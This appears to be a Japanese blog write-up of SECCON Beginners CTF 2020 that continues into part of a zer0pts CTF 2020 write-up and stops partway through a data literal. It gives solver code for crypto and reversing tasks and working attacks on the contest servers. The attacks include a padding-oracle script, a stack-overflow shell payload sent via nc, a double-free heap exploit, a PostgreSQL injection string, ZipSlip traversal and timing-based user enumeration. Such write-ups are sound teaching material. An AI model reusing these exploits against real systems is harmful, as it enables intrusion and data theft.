SECCON BEGINNERS CTF 2020 write up

概要

15問解いて 25位 2738 points 1000人以上いる中で、CTF歴1年で個人成績としてはなかなかいい成績が残せたのではないかと思ってる。 youtubeで口頭でほとんどデモを交えつつ説明したので、ここではソースコードメインで。 詳細な説明はyoutube参照

rsacalc

該当する再生時間の動画のリンク

youtu.be

問題概要

1. 署名をして
   1. 署名する中身: 1337, F
2. 署名を検証する

問題概要: "1337,F" の署名を求めましょう

方針

RSA暗号の準同型

m = m1*m2にして、分解して、直接1337とかFとか文字列を使わずに、表現する。 具体的には

data1 = b"\x18\x99\x99\x9b\x96#"
data2 = b"\x02"
data = b"1337,F"

こんな感じでやれば分解できる。 これを、サーバーに送信したら、signatureが2つ帰ってくるので、 それらを掛け算したらOK

R&B

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=628

これはRot13とbase64やるだけ。

import base64

def _rot13(c):
    if 'A' <= c and c <= 'Z':
        return chr((ord(c) - ord('A') + 13) % 26 + ord('A'))

    if 'a' <= c and c <= 'z':
        return chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
    return c


def rot13(s):
    g = (_rot13(c) for c in s)
    return ''.join(g)

S = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

while True:
    if S[0] == "R":
        S = rot13(S[1:])
    elif S[0] == "B":
        S = base64.b64decode(S[1:]).decode('utf-8')
    else:
        print(S)
        break

Noisy equations

該当する再生時間の動画のリンク

youtu.be

問題概要

Am + r = b

という式が与えられる。

A: 行列で既知(それぞれの要素が2²⁵⁶まで) m: ベクトルで未知(たかだか128くらい) r: ベクトルで未知(それぞれの要素が2²⁵⁶まで) b: 既知(それぞれの要素が、1000*2²⁵⁶)とかかな？

方針

rが小さいので、rを無視して、Aの逆行列を計算する。 何回も計算して、最頻値を取って、mを復号する。 (実はrがSEED固定なので毎回固定だった…)

from os import getenv
from time import time
from random import getrandbits, seed

FLAG = b"ctf4b{00000000000000000000000000000000000000000}"
SEED = b"hogehoge"

L = 256
N = len(FLAG)

def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

#!/usr/bin/python3

from nums import *
from fractions import Fraction

def solve(mat):
    for row in range(len(mat)):
        tar = mat[row][row]
        for col in range(len(mat[row])):
            mat[row][col] /= tar
        for r in range(len(mat)):
            if r == row:
                continue
            boost = mat[r][row]
            for c in range(len(mat[r])):
                mat[r][c] -= mat[row][c] * boost
    return mat

mat = []
for i in range(len(coeffs)):
    row = []
    for j in range(len(coeffs[i])):
        row.append(coeffs[i][j])
    row.append(answers[i] - 2**255) # 低めに出やすいので中央に持ってくる
    mat.append(row)

solve(mat)
# for i in range(len(mat)):
#     for j in range(len(mat[i])):
#         print(mat[i][j], end=" ")
#     print()

for i in range(len(mat)):
    if i == len(mat)-1:
        print(mat[i][-1])
    else:
        print(mat[i][-1], end=",")

encrypter

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=1382

問題概要

何らかの文字が与えられて、それの暗号化と復号をしてくれるという問題。 いかが特徴

• 暗号化が何文字でもできる
  • そのため、ブロック暗号か、ストリーム暗号の可能性が高い
• 一定文字増えると、一気に文字数が増える。
  • ブロック暗号の可能性が高い
• 同じ文字が続いても同じブロックが現れない: ECBではない
• 最後から2ブロック目をいじると、最後の1ブロックの特定バイトが変更される: ほぼほぼCBC

CBCってわかったらあとはPadding oracle attack

import requests
import base64
import json
import copy

block_len = 16

def encrypt(S):
    data = '{"mode":"encrypt","content":"'+ S +'"}'
    print(data)

    response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php',  data=data)
    
    return base64.b64decode(json.loads(response.text)['result'])

def decrypt(E):
    data = '{"mode":"decrypt","content":"'+ base64.b64encode(E).decode('utf-8') +'"}'

    response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php',  data=data)
    
    d = json.loads(response.text)
    return 'result' in d

def merge_blocks(blocks):
    res = []
    for block in blocks:
        for b in block:
            res.append(b)

    return bytes(res)

def split_blocks(byts):
    blocks = []
    for i in range(len(byts)//16):
        blocks.append(list(byts[i*16:(i+1)*16]))
    return blocks

def expose_last_block(blocks_org, position):
    res = []
    for i in range(16, 0, -1):
        res.append(i)
    
    print(res)

    blocks = copy.deepcopy(blocks_org)
    print(len(blocks[0]))

    # paddingの数の特定
    padding_len = -1
    for index in range(15,-1,-1):
        for i in range(256):
            print("index, i: ", index, i)
            blocks[position-1][index] = i
            if index == 15 and blocks_org[position-1][-1] == blocks[position-1][-1]:
                 continue
            if decrypt(merge_blocks(blocks)):
                X = i
                break
        for j in range(15,index-1,-1):
            blocks[position-1][j] ^= res[index]
            blocks[position-1][j] ^= (res[index]+1)
        res[index] = res[index] ^ X ^ blocks_org[position-1][index]
        print(res)
    
    return res
    
print(encrypt("aaaaaaaaaaaaaa"))
# flag
E = b'\xe6\x90\xb6\xa9\xf0\xcdb\xf2{\xd2j,\xcd\x9fr\xf8\xab\xe4\xc9%<\xdf\xf9t\x10\xa9x\x00V[\x9f\xfbe\x04\xac\xaa\x85\x11\x10\xbdod`\xa8\xbe\xc1%u\xae\x919\x17\xb4\x8dU\xf4/\xbd\xab\xd7\xa6t*\xbb'
# E = b'\xd9\xc4f\xd6\xfdS\x0e\x8d;\xa0\x89\xdfW\x9c\x88iBq\xbd\x03Sji\x11\x9c\xa4\x10\x0f\x05q[\xc8'
# print(encrypt(E))

blocks = split_blocks(E)
print(blocks)
res = []

for i in range(len(blocks)-1):
    target = copy.deepcopy(blocks)
    res.append(expose_last_block(target[:(i+2)], -1))

print(merge_blocks(res))

# b'ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'

emoemoencode

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=2344

byteの差分を見ると、4byteの文字しか使ってないのに、すごい差が小さい事に気づいた。 差分を計算して、1文字目を'c'と決め打ちして、あとは差分で計算する

from Crypto.Util.number import *
import copy

f = open("./emoemoencode.txt")

nums = []
hexs = []

for line in f:
    line = line[:-1]

    for c in line:
        nums.append(bytes_to_long(c.encode()))
        hexs.append(c.encode())

print(nums)
print(hexs)
for h in hexs:
    print(h)

diffs = [0]*len(nums)
for i in range(1,len(diffs)):
    diffs[i] = nums[i]-nums[i-1]

print(diffs)

last = ord('c')
res = []
for i in range(len(diffs)):
    last += diffs[i]
    print(last)
    if last >= 0:
        res.append(chr(last))
    else:
        res.append('?')

print(''.join(res))

beginners_stack

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=2777

基本は、リターンアドレスを書き換えるだけの問題 ただし、alignが0x10の倍数じゃないととおらないので、2回popするテニックが必要。 rp++とかで、pop retするgadgetを見つけて、そこに対して飛ばす。 更にスタックにいい感じにデータを積んで、shellに飛ばす。

echoしただけだと、Congraturations!とでて終わって悲しい気持ちになるので、catコマンドで標準入力をうけつけることで、shellを入力する。

(echo -e "1111111111111111111111111111111111111111\x4c\x0b\x40\x00\x00\x00\x00o\x00\x61\x08\x40\x00\x00\x00\x00\x00\n"; cat) | nc bs.quals.beginners.seccon.jp 9001

yakisoba

https://youtu.be/Lpeh8yN7NAg?t=4204

angr使うだけ。

import angr
proj = angr.Project('./yakisoba')
simgr = proj.factory.simgr()
res = simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1))
print(res.found[0].posix.dumps(0))

mask

https://youtu.be/Lpeh8yN7NAg?t=4510

ghidraを使うと、リバエンが捗る

A = list(b"atd4`qdedtUpetepqeUdaaeUeaqau")
B = list(b"c`b bk`kj`KbababcaKbacaKiacki")

# A = i & 0x75
# B = i & 0xeb

for i in range(len(A)):
    print(chr(A[i] | B[i]), end="")
print()

int main(int argc,long arv)
{
  int N;
  size_t sVar2;
  long in_FS_OFFSET;
  int i;
  byte input [64];
  byte local_98 [64];
  byte local_58 [72];
  long local_10;
  
  else {
    strcpy((char *)input,*(char **)(arv + 8));
    N = (int)sVar2;
    puts("Putting on masks...");

    for(int i=0;i<N;++i){}
      local_98[i] = input[i] & 0x75;
      local_58[i] = input[i] & 0xeb;
    }

    local_98[N] = 0;
    local_58[N] = 0;
    puts((char *)local_98);
    puts((char *)local_58);
    N = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau");
    if ((N == 0) &&
       (N = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), N == 0)) {
      puts("Correct! Submit your FLAG.");
    }
    else {
      puts("Wrong FLAG. Try again.");
    }
  }
}

ghost

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=5106

問題概要

ghostscriptのファイルが与えられる。 ghostscript

頑張って読み解くと、以下のようになる。

%!PS-Adobe-3.0
/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline
not { (I/O Error\n) print quit } if

 0 1
 2 index % 標準入力をstackのtopにコピー

  length(文字列長さ？)の数分繰り返す
  length 
  {
     1 index
     1 add
     3 index
     3 index
    get
     xor
     mul
     1

     463
     {
          1 index
          mul
          64711 mod 
     } repeat

     exch % スタックの上位2要素を交換
     pop % スタックトップ消去
     dup % スタックトップの複製
     output % バッファ?
     cvs % 多分文字列変換的なやつ
     print % ↑の表示
     ( ) print % スペースの表示

     128 mod
     1 add
     exch
     1 add
     exch 

} repeat (\n) print quit


% --------------------------------------------------
% flag = 64 string
% output = 8 string
% stack.push(0)
% stack.push(1)
% exch : スタックの上位2要素を交換する

ここまで読み解くと、おおよそN文字目まで合っていれば、N+1文字目をブルートフォースすれば行けるのではと思いました。 それを解くスクリプトはこちら。

# 変数をstdinとしてサブプロセスに渡す
import subprocess
from subprocess import PIPE


def f(S):
    input_text = S + "\n"
    print(input_text)
    proc = subprocess.run("gsnd chall.gs", shell=True, input=input_text, stdout=PIPE, stderr=PIPE, text=True)
    r = proc.stdout
    nums = list(map(int, r.split('\n')[-2].split()))
    return nums

ans = [3417,61039,39615,14756,10315,49836,44840,20086,18149,31454,35718,44949,4715,22725,62312,18726,47196,54518,2667,44346,55284,5240,32181,61722,6447,38218,6033,32270,51128,6112,22332,60338,14994,44529,25059,61829,52094]
S = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

for i in range(0, len(ans)):
    for c in range(32,127):
        print(i, c)

        S = list(S)
        S[i] = chr(c)
        S = "".join(S)
        r = f(S)
        if(len(r) != len(ans)):
            continue

        print(r)
        print(ans)
        if r[i] == ans[i]:
            print(S)
            break

readme

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=6037

問題概要

/home/ctf/flag のパスを ctf という文字列を使わずに表現する。

方針

めちゃめちゃ頑張ってググると

/proc/self/cwd で自信プロセスが実行されてるパスがわかるので、 /proc/self/cwd/../flag で終わり

spy

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=6405

問題概要

パスワードが分からない A-Z までの26人のユーザー候補者がいる。 この中で、何人かユーザー登録がされているので、それを当ててくださいという問題。

方針

パスワードハッシュを求めるのに時間がかかるので、それで時間計測を行って解く。

import requests
import re


def login(name):
    data = {
      'name': name,
      'password': 'hello'
    }

    response = requests.post('https://spy.quals.beginners.seccon.jp/', data=data)

    # print(response.text)

    for line in response.text.split('\n'):
        if ' sec ' in line:
            num = re.findall("\d+\.\d+", line)
            return float(num[0])

ES = ["Arthur","Barbara","Christine","David","Elbert","Franklin","George","Harris","Ivan","Jane","Kevin","Lazarus","Marc","Nathan","Oliver","Paul","Quentin","Randolph","Scott","Tony","Ulysses","Vincent","Wat","Ximena","Yvonne","Zalmon",]
d = {}
for name in ES:
    d[name] = login(name)

res = sorted(d.items(), key=lambda x:x[1])

for kv in res:
    print(kv[0], kv[1])

### output ###
# Zalmon 0.0002587
# Scott 0.0002846
# Nathan 0.000287
# David 0.0002886
# Barbara 0.0002965
# Vincent 0.0003085
# Paul 0.000309
# Oliver 0.0003096
# Wat 0.0003245
# Quentin 0.0003251
# Franklin 0.0003289
# Kevin 0.0003555
# Jane 0.0003723
# Harris 0.0003805
# Ulysses 0.0003837
# Arthur 0.0003927
# Christine 0.0004138
# Ivan 0.0004918
# Randolph 0.0006449
# 
# Ximena 0.4110968
# Elbert 0.4719231
# Tony 0.4757388
# George 0.5149259
# Yvonne 0.5762974
# Marc 0.6083214
# Lazarus 0.6226675

tweetstore

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=6741

問題概要

SQLinejectionでDBのユーザー名を求めてください。

方針

' のエスケープを golangで以下のようにやっているが、postgresqlでは \' は意味をなさないので、 ' を1文字入れるとバグるし、うまいことやると ' を閉じることができる。

strings.Replace(search[0], "'", "\\'", -1)

なので、返り値にgolangの型に合うようにいい感じに複文実行してやると

\\'; select usename, usename, now() from pg_user --

ユーザーの一覧を取得できる。

unzip

https://youtu.be/Lpeh8yN7NAg?t=7618

問題概要

パストラバーサルで /flag.txt を読んでください。 ただし、使えるパスはアップロードしたzipファイルの中に含まれるファイル名のみです。

方針

ZipSlip Attackと呼ばれるらしい。 ../../flag.txt なファイル名の作り方がわからなかった。(ずっとsymbolic linkで頑張ろうとしていた。)

ので、 ../../flag.txt と同じ文字数を持つ aaaaaaaaaaaaaa というファイルをzip圧縮し、後でバイナリエディタでファイル名だけ変更した。

あとはzipファイルをアップロードして、アクセスするとディクトリトラバーサルで

echo file_get_contents($filepath);

が flag.txt を読み込んでくれるので、フラグが獲得できる。

beginners_heap

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=8582

問題概要

double free

解き方

書き下すのが辛いので、動画参照

from ptrlib import *
from Crypto.Util.number import *

sock = Socket("bh.quals.beginners.seccon.jp", 9002)
intro1 = sock.recvuntil('> ').decode('utf-8')
intro2 = sock.recvuntil('> ').decode('utf-8')
intro = intro1 + intro2
win_addr = 0
free_hook_addr = 0

for line in intro.split('\n'):
    if '<win>:' in line:
        win_addr = int(line.split(':')[-1].strip()[2:], 16)
    if '<__free_hook>:' in line:
        free_hook_addr = int(line.split(':')[-1].strip()[2:], 16)

print("win_addr      : {}".format(hex(win_addr)))
print("free_hook_addr: {}".format(hex(free_hook_addr)))

A_offset = list(b"000000000000000000000000\x31\x00\x00\x00\x00\x00\x00\x00")
win_addr_bytes = long_to_bytes(win_addr)
free_hook_addr_bytes = long_to_bytes(free_hook_addr)


target_byte = free_hook_addr_bytes

for b in reversed(target_byte):
    A_offset.append(b)

for b in range(8-len(target_byte)):
    A_offset.append(0)

A_offset = bytes(A_offset)

sock.sendline("2")
sock.sendline("hello")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("3")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("1")
sock.sendline(A_offset)
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("6")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("2")
sock.sendline("hello")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("6")
print(sock.recvuntil("> ").decode("utf-8"))

sock.sendline("3")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("6")
print(sock.recvuntil("> ").decode("utf-8"))

A = []
target_byte = win_addr_bytes

for b in reversed(target_byte):
    A.append(b)

for b in range(8-len(target_byte)):
    A.append(0)

A = bytes(A)

sock.sendline("2")
sock.sendline(A)
print(sock.recvuntil('> ').decode("utf-8"))
sock.sendline("3")
print(sock.recvline())
print(sock.recvline())

zeroptsCTF(2020) write up(速報版)

zeroptsCTF write up (速報版)

相変わらずCryptoを先に解いたが、今回1問苦戦してしまい、時間がかかってしまったので他の問題に取り組めなかったし、1問取り逃した。 猛反省です。 めちゃめちゃ問題はオリジナリティがあって面白かった。

ROR

相変わらず若干改造しているけど、与えられたソースコードはこんな感じ

import random
# from secret import flag

ror = lambda x, l, b: (x >> l) | ((x & ((1<<l)-1)) << (b-l))

N = 1
for base in [2, 3, 7]:
    N *= pow(base, random.randint(123, 456))
e = random.randint(271828, 314159)

# m = int.from_bytes(flag, byteorder='big')
m = 123456
assert m.bit_length() < N.bit_length()

for i in range(m.bit_length()):
    print(pow(ror(m, i, m.bit_length()), e, N))

ソースコードを読むと、 ror には右に1ビットローテートさせてることがわかる。 RSA暗号ライクに、 m^e % N が m のbit数分与えられて、ここから秘密鍵等なしに m を復元する問題。

mがbit数分与えられるので、一つのメッセージにつき、1bitずつ漏洩させていけば良い。

一番下1bitが与えられるので、偶奇判定をすれば良さそう。 Nが2と3と7の乗数であるため、Nは偶数。 よって、 (m^e%N) % 2 = m%2 よって、与えられたすべての数字の下位1bitを取れば良い。

よって以下のコードで終わり。

from Crypto.Util.number import long_to_bytes

f = open("chall.txt")
lines = f.readlines()

x = []
res = 0
for l in reversed(lines):
    res += (int(l) % 2)
    res <<= 1

res >>= 1
print(res)
print(long_to_bytes(res))

diysig

もとのソースコードは長いので割愛。 要約すると、RSA暗号の復号したあとの平分の下位1bitがわかるので、複合してねという問題。

c^d % N で複合できるが、この N が奇数なので、2倍したときに値の偶数奇数が変わったり変わらなかったりする。 変わらないときはNをまたがなかったときで、変わったときがNをまたいだとき。 この性質を使ってとくのがLSB Decryption Oracle Attackという典型になるのだが、しばらく考察してほとんど車輪の再発明をしてしまった。 反省。

from fractions import Fraction
from math import ceil
from netcat import Netcat

# e = 0x10001
# n = 0xb70658461262420a495cd1550ea53710332562d2e1626cc1ea96e865dc89c9f1726f5e800c10faaa84f8f90476e90052c882be52de2340d05112c8537ad7987995378c33294651af496856dd1dc521a76e9c53
# ENC = 0x503c938eb2a9a19cda0690c057625e4d94571929ee3e0522433fefc6eeaa8e47869dc517ad67690e8c8d1c3f844f44ee3e3877aa784e0caaabebcee8fe3fd4d6ac939ee6e942c763957f2189ba405c86a0d9bc

n = 0x6d70b5a586fcc4135f0c590e470c8d6758ce47ce88263ff4d4cf49163457c71e944e9da2b20c2ccb0936360f12c07df7e7e80cd1f38f2c449aad8adaa5c6e3d51f15878f456ceee4f61547302960d9d6a5bdfad136ed0eb7691358d36ae93aeb300c260e512faefe5cc0f41c546b959082b4714f05339621b225608da849c30f
e = 0x10001
# d = 7431740025043756221515365067850832783728283232431063318145314661892911614671147927990392897931413631166880130409307412466350812244440287457800809181971129220878086928879210857936329091778189386682273
ENC = 0x3cfa0e6ea76e899f86f9a8b50fd6e76731ca5528d59f074491ef7a6271513b2f202f4777f48a349944746e97b9e8a4521a52c86ef20e9ea354c0261ed7d73fc4ce5002c45e7b0481bb8cbe6ce1f9ef8228351dd7daa13ccc1e3febd11e8df1a99303fd2a2f789772f64cbdb847d6544393e53eee20f3076d6cdb484094ceb5c1

def to_hex_str(x):
    return hex(x)[2:]

def f(x):
    nc = Netcat('18.179.178.246', 3001)
    nc.read_until(b'>')
    nc.write(b'2\n')
    nc.read() # ENC : 
    nc.write((to_hex_str(x)+'\n').encode('ascii'))
    nc.read() # SIG :
    nc.write(b'\n')
    res = nc.read().decode('ascii')[31:]
    res = (int(res, 16) % 2 == 0)
    nc.close()
    return res

# def g(x):
#     return pow(x, d, n) % 2 == 0

low = 0
high = Fraction(n)

cnt = 0
c = ENC
while high - low >= 1:
    cnt += 1
    print("cnt: ", cnt)
    cc = (c * pow(2,e,n))%n
    mid = Fraction((high+low)/2)
    if f(cc):
        high = mid
    else:
        low = mid
    c = cc

print(ceil(low))

# cnt:  1023
# 3299797009569702876689278043775981424617312808105724734787052702483069

nibelung (あとで数式整形します…)

行列を U 、 X 、平文を X 、鍵を U として、 暗号化は UXU^(-1) 復号は U(^-1)XU で表せられる。

Uはサーバーにつなぐ度に変わるランダムな値でめっちゃでかい。(逆行列が存在することは保証されている。) Xは各要素が0~255であるような行列であれば任意に与えることができる。

Uの左上の要素をU00、U^{-1}の左上の要素を U^{-1}00とすると、

(U00) (U/U00) X (U^{-1}00) (U^(-1) / U^{-1}00)

のように変形することができる。 ここで、U00 や U{-1}00 はスカラーの値で、 (U/U00) は Uの各要素をU00 で割ることを意味する。

Xに{{1,0,0},{0,0,0},{0,0,0}}や、{{0,0,0},{0,1,0},{0,0,0}}など、単位行列の片割れみたいなやつを投げていくと、

U/U00 や U^{-1}/U^{-1}00 の値を求めることができる。

ここで、U00 や U{-1}00は未知数のままになるが、実は　U00 * U{-1}00 の値は求めることができる。(後でまとめる ソースコード参照)

よって、逆行列が求められるようになり、下記ソースコードで求めることができる。

import base64
from fglg import FiniteGeneralLinearGroup

size = 6
p = 8360080291231856208342820490554787440072018576480512700791136197550784456752887668431380873895156613081656896954431466745396150329739610536564837226911771

def inv(x):
    return pow(x, p-2, p)

def f(index):
    res = b''
    for i in range(size*size):
        if index == i:
            res += b'\x01'
        else:
            res += b'\x00'
    return res

def to_mat(strs):
    tmp = strs[0] + ','
    for i in range(1,len(strs)-1):
        tmp += strs[i]
        tmp += ','
    tmp += strs[-1]
    # print(tmp)
    mat = eval(tmp)
    return mat

for i in range(6):
    print(base64.b64encode(f(i*6+i)))

encs = [[
"[[2844109057510656923952466146137977471293285267640412110199566979647354787906393156285834223940331193724189323464515484588843099726061450009464982167363979, 4663529941370007603048667089824379230877162373989378292796895584214399321763444036661816764527059996643733921819566666950119226241446224232143490508807097, 6075374380206399306206199728758345261118486866873029127956689642499175844929618387914495024344311564970148929167280642192213483593070644492944370008873689, 4097301783660782251336476972845798659475539100511854532759941471221051345039115357990798965110496117219736164852673302945250618902009919535937629088878780, 4901804800356980143822832819720501901599752314050363109376874785860871742660241152466646105755211792821221369418255975686642959683098969904231031976364042, 2258966585386204547722395445687643461819163669866968489295435430580711959935760779278933967719942319464803369019303476537482047659422762747353459149032564]",
" [3560797918639006346382690226349831460455429848252421305846093213490807744303822764946777077307885167259435429607822401980679320254062445920902415260034338, 4941693658577867681038303101840510409533819832854703323965355625735153841765106813962542715811856254964742636832021227882811022942130841930358478558435907, 4893162499985645890510568573669085120412559372211744188812438778446013560729909432354993565252869684798238658490482434629963126606700097643191151337421815, 4464299947361991331955438331982234748267010891544101318451149921762352925642293505390880056548617394654132453619952720736208234320504995053637181343236363, 8193476280258052153553939692804878474565442504868336509417531766484542510033261824312615229562242011917200907619196728508114506649233854455066003989808840, 330622642492148380105914481912637145519716547951405646334026402572081611513379423574188182190392337351753577969913705221153680101003167976781392870895408]",
" [7886637382328416017019958731061506711022902163245805949442532512620330708486799281813729634550474959613330950367128866552749824636542481462173373202080065, 2912548487954813628882397832069094266041585093136484171202438738374338958586103517803457504494620495859481994554583344693625171416901828769765136810209755, 4618213424565770411146840748114321323709066783329600365846065614659523847332403706350098558642482910217163851943566972776691293991332624500698677406980768, 2310827939353277656385830160062296652051490301038103220715145255581220042504102162372718560198671153358860392143564942445175829183892655769056111316183844, 1720630852517271021919228739118894843828437149909747954696947144630589151429918764318207550913532720574339907432163297630345779083296734590043154204006603, 80863307142524577043957449467545995775605640278801755563508604508669844693490961335327418547126029731580344192627475417946337458435230162606630029741411]",
" [4683896627467601484060512410679012213392944441658970182956302192426515153762046314072276718314075133720283274507790052350262814271141785318386673715009754, 3616549657910893463479827045131588966238817968191479219891543099222741775216875988027624437944073841822738543239967484143502029090864643009266315120483851, 7728361346193444604763293166910408942121424137163284423118402521753319882318604162934794757635001645463213506528750097795268758454238764563796287815950306, 2688399857269946331943050840478987147469925875094059311995962934264463639665931000004316272555656696677155690631708201620746426398363571565978286218984002, 1964587000961659876174873136407580254723550967367023058125238940739926813010875070266694316427146350730874711867470166409896285393583896511240460525030515, 15390954020832326585900087183031292287474451266723351241323747632133067503193271357855256697947505177244771871542520607255760409590675966180861617611563]",
" [3173551930862052224202372619428426453741833926344773441673678332786629997648301144859781616021937199647790683283980862694021670324261476791114956519752707, 467776452318537516179636947035778541233537716095434962185250647768738226941543648451220394598375954044734476129148767477843344760098791807698342130287579, 8232807472321858343360616488598825969006238178758937145510511964235784060454972139507879191785785837534219459496770549721739053048115688210356910175864324, 3455042557058964332732650066466926538831869205003079905327805430287617960981133625471738778062470080446151100262099726977114229413952823439858050771544140, 3925778235441558180881453368193221291691056546093085629719575442507425164108074468891396652205650879889352716808664348173992523215390473908898279233801414, 5703069890739428289582880383754395481288053894312350933857304113140746034412360946745677870242659697918845619766991540894460228344788824759263839094362551]",
" [616564095832684444493933086603704939423530262009194623038159773929132052409705429656362059655305139144200543675687503810364206265687175744837692233246214, 1495719155768410198093574350768436670033783204722793751717603235864683086169705356670663476028141865538459934634561739317264195275064559215677687708064750, 2423717961021113945654231675347773046952673688911165520236341403746815775346539132879325934572662283822205281033290928864839705467760034673255242526443547, 1680524687326186993223553699093460731212355837334277222862337809388867630154877198542414763552348732689010509533822788865700641653775373377403796828339354, 531609488186815098934795812181406731080934861399039702904803476563011443267184625547379785935973532131250763962689058071923931993338079240874906471205712, 6062046640329769096066347266899344676518901424429677360646881995838432089480753859799954198529491903772366471182818165193104084715939869694295808095169244]]",
],[
"[[2803821056668490611294073034573880698996327904364163613205066574880527207299722854493866385187457761354302112778750196964656219820117464591255587308956436, 3750836767514077095536483178606067851183226503341429995524322471455394778466596907321592826288496684012320273983261260963265414788261888514976099784901950, 2498981700490371942559704337778236202924549970675634909578493815912127662084151348487768439519914612466946631571922239782082288447650845714368523884826549, 515191682021112042461459536958522376068974661629463565716455922014456041016779153956872450752381881941831499975234747975319299032221694507688938502636522, 3968904451751795859948656691772943297799828237009606237467823202982212290912291340506914007380248195667843494547418040468150823726204831156618971934520382, 2948962403680802606789930292176406531977053734918306366221342209590433425253475763866493711782328378004873495308679410362199939046013134920706889527235720]",
" [380884923854791065893933128922173604072100861317386835940884870619107636107321720997401168326678319936686466669769096150700639446306793387808956333031745, 7355166896338964348820964068017746975540070022013196213734834768516181706828725637574436549441910722096531288758959579331909936735146191357660917332907963, 1868575375607131209884190402730729988169515786536777956425072034917870989758858547914066656824654657606054368715873408840836197242784739803367293818577677, 956309002107663456799742197954334274234348977330650984848615986558625577700556023037570946658382913025033216579873617888815933319169638545076251813887012, 2867727447479143512631658343669566725737044184881073732083130580175178690955952451937453413092886925959274799972772328787195086437872784209122330716221643, 3541379071797772847474309427659550464634110575665448839362382214809310378356130081815101786136105890845481980775919677660020737168957143778730376882889512]",
" [3509365376767303292637179502111115986117910892423718577787965436812668209109533654013423474593124690182153973020443372540908768559879329893825913073046014, 6115844777267703958776425796438545186188903490023248838732007816524868169775391080053882888551816731880818558456682534497400829172216539395394323323139792, 3441946893521007741421732590063713555766555240284318674271124018119364508764887431406902462550146113764240464256827512351400430511618321455132612294688862, 8044684075805621919499259109344475676664401947257944215273804927366083890062844033716393858179755212089799761748156540282959391212575121739253779025491818, 1256692924591411602725043950981066258161625083837129674584486932677229506313258150793216226803346677764866174445880703328643292127180845238971146971063559, 4716106146978711895065985653010884193487421171452106095429257594174696036182389278529271459953047149510655007835080164014679023540138865031451245807729632]",
" [3927041841574869015958598578182387497925877650197495790355915878184536523021644771481281630510006475360630571919388130010238169764501029573383568511660669, 1419852605311001783651930972445558449705617057316941009927353336949678003728606137284103802520062399161077156727109063713165319140076245893114487609944645, 2022968689722258825105433586819875651181915266699476976378626996832518644820110525812995181952968471146498123206899172234364929688662810025852048344583792, 4593859473771566885377512892325350785046727314256554621801809437883226073913499295032360693198614710666268276506172043380434238268834982567189996699511803, 8253801929129254987503976172133372692371767232532242397856204289036659250344308500002748804392345865993856100906374498197302608580988065703797896959012141, 6691040376245757985724492187892249722245968616848642770154563909932068676214557356888532073725874863775938918134725529041948065054871524880888241707871122]",
" [1902614142783282961185671980103888135270345914269236174925090709119237074230024075524928395568290135601128475414062444300707166627871076567972344206996464, 3457255300632707065900214017597628667205399353068036667446507236070617216966503672181279844757514679255314895110397886186436538671386399329802957375181628, 1763742401623990024250635529542182048583467994881024516006987992156440980472346484492699379576953398604362494717009581637101641948847382624889714515069564, 8304377857206944735354006238069273229688482882271435196903342297306201859793340201134624767980780270722776268585027077722352601642322770426328789337915249, 1031101775942775287016866592108364909981264870277981971770663139913917773964280054850517647630443278419275580826809411711239874520744416138903427799244555, 6944493149911938176369791418981045745787743620130804378552761048488359471950876111817887880679935064976749824429685594340192209996583867928799587789212721]",
